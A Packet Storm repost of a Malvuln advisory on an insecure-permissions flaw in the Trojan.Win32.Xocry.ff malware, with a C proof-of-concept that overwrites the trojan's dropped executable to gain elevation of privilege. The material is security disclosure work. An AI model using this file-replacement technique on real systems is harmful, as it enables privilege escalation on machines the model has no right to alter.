what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Trojan.Win32.Xocry.ff MVID-2021-0050 Insecure Permissions

Trojan.Win32.Xocry.ff MVID-2021-0050 Insecure Permissions
Posted Jan 25, 2021
Authored by malvuln | Site malvuln.com

Trojan.Win32.Xocry.ff malware suffers from an insecure permissions vulnerability.

tags | exploit, trojan
systems | windows
SHA-256 | 7bda2dbba86039eb606a73724fa19c849bab2a25e44765358766844dd291d300

Trojan.Win32.Xocry.ff MVID-2021-0050 Insecure Permissions

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f13116d46a7097e14ef971d48d6a203.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Xocry.ff
Vulnerability: Insecure Permissions
Description: Trojan Xocry.ff creates its c:\ProgData directory with an insecure ACL, handing over change permissions to any authenticated user allowing EoP.
Type: PE32
MD5: 8f13116d46a7097e14ef971d48d6a203
Vuln ID: MVID-2021-0050
Dropped files: C:\Users\[VICTIM]\AppData\Local\Temp\[RANDOM-NAME].exe
Disclosure: 01/23/2021


Exploit/PoC:
C:\>cacls C:\ProgData\ProgData.exe
C:\ProgData\ProgData.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\ProgData\\ProgData.exe"
#define TMP "C:\\ProgData\\2.exe"
#define DISABLED_TARGET "C:\\ProgData\\666.tmp"

/* Trojan.Win32.Xocry.ff.8f13116d46a7097e14ef971d48d6a203 */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
if(!FileExists(DISABLED_TARGET)){
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Trojan.Win32.Xocry.ff EoP PoC\n");
Sleep(1000);
printf("[+] Disabled Dropped ProgData.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln ProgData dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced ProgData EXE...\n");
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Trojan.Win32.Xocry.ff PWNED!\n");
printf("[+] MD5: 8f13116d46a7097e14ef971d48d6a203\n");
printf("[+] By Malvuln\n");
system("pause");
}
}



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close